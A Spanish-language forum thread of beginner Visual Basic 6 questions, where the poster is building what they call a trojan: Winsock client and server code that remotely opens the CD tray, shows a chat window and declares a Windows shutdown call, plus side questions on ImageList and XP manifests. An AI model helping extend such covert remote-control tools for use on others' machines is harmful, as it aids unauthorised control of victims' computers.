Mensajes

Hola

Al mostrar datos en un listview me da un error que dice "Imagelist debe iniciarse antes de poder usarla"

Me podeis decir como se inicia.

Gracias.

Salu2

Hola, he creado un manifest k da a los programas de vb6 el estilo de xp, el problema esta en que este archivo tiene que estar en la misma carpeta que el ejecutable y si se borra adios al estilo,
Hay alguna manera de agregar este archivo al proyecto para que este dentro de el ejecutable.

Si se puede poner el estilo XP de otra manera tambien me serviria.

Salu2

Hola, mi troyano funciona con winsock perfectamente ya que el programa de mensajeria MSN es muy comun y utiliza el Mswinsck.ocx

Pero quisiera incluirle esta api para quitar el winsock. Ya tengo el modulo, pero alguien sabe como se usa?????

Un manual please!!!!

Salu2

Hola

Estoy provando con el codigo que a puesto p0w3r f1y.

Pero no lo entiendo bien y me da un error "el subindice esta fuera del intervalo"

Aunque el servidor recibe correctamente los datos "CHAT|||el mensaje"

Aqui esta el codigo a ver si me podeis ayudar o sino ponerme un ejemplo con un cliente y un servidor.

CLIENTE:

Código [Seleccionar] Expandir


Private Sub Command_enviar_Click()
Dim datos As String
datos = "CHAT" & "|||" & Text_nick.text & " :  " & Text_mensaje.text
List_chat.AddItem Text_nick.text & " :  " & Text_mensaje.text
Form_menu.Winsock_menu.SendData datos
Text_mensaje.text = ""
End Sub


SERVIDOR:

Código [Seleccionar] Expandir


Dim datos As String
Dim separar As Variant
Winsock_server.GetData datos
separar = Split(datos, "|||")
' crea un array en el que mete los
'datos separados por |||, puede haber todos los comandos secundarios que quieras
If UBound(separar) Then ' si existe algun array....
Select Case separar(0) ' aqui estará el comando, ej: "CHAT"
Case "CHAT"
MsgBox separar(1) ' en separar(1) estaría el texto, ej: "Hola"

End Select
End If


Gracias de todas maneras.
Salu2

Hola

El problema es el siguiente:
Estoy creando un chat para un troyano, cuando mando los comandos para que el formulario del chat sea visible lo hace a la perfeccion, pero cuando quiero mandar un texto de uno al otro lo que el servidor me recibe es lo que le e mandado y como cada vez le mando un texto diferente el no lo reconoce.

Ejemplo.

Con el cliente mando "OPENCHAT"
El servidor  lo recibe y se pone la propiedad visible del formulario del chat en true. Hasta aqui bien.

Cuando con el cliente le mando los datos de un textbox por ejempo "hola" al servidor le llega eso y no sabe que acer con ello.

Ayuda please!!!

Salu2

Muchas gracias, el problema ya esta solucionado.

Salu2

Hola, a ver si me explico bien:

Estoy creando un troyano en visual basic y tengo un problemilla:

Primero el codigo:

-----SERVER------

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)
Private Declare Function mciSendString Lib "winmm.dll" _
Alias "mciSendStringA" _
( _
ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long _
) _
As Long
----------------------------------------------------------
Private Sub Winsock_server_DataArrival(ByVal bytesTotal As Long)
   Dim mensaje As String
Winsock_server.GetData mensaje
If mensaje = "OPENCD" Then Call mciSendString("set CDAudio door open", vbNullString, 127, 0)
If mensaje = "CLOSECD" Then Call mciSendString("set CDAudio door closed", vbNullString, 127, 0)

If mensaje = "OPENCHAT" Then
Form_chat.Show
End If
End Sub

--------CLIENT-------

Pantalla FUN

Código [Seleccionar] Expandir


Private Sub Command_closecd_Click()
Dim mensaje As String
mensaje = "CLOSECD"
Form_menu.Winsock_menu.SendData mensaje
End Sub

Private Sub Command_opencd_Click()
Dim mensaje As String
mensaje = "OPENCD"
Form_menu.Winsock_menu.SendData mensaje
End Sub

Pantalla CHAT

Código [Seleccionar] Expandir


Private Sub Command_enviar_Click()
Dim mensaje As String
mensaje = "OPENCHAT"
Form_menu.Winsock_menu.SendData mensaje
End sub


A ver, las dos funciones primeras de abrir y cerrar el cd funcionan correctamente.

Pero la de hacer visible la pantalla del chat no se muestra.
¿Podriais decirme que parte del codigo es la que e escrito mal?

Gracias de antemano.
Salu2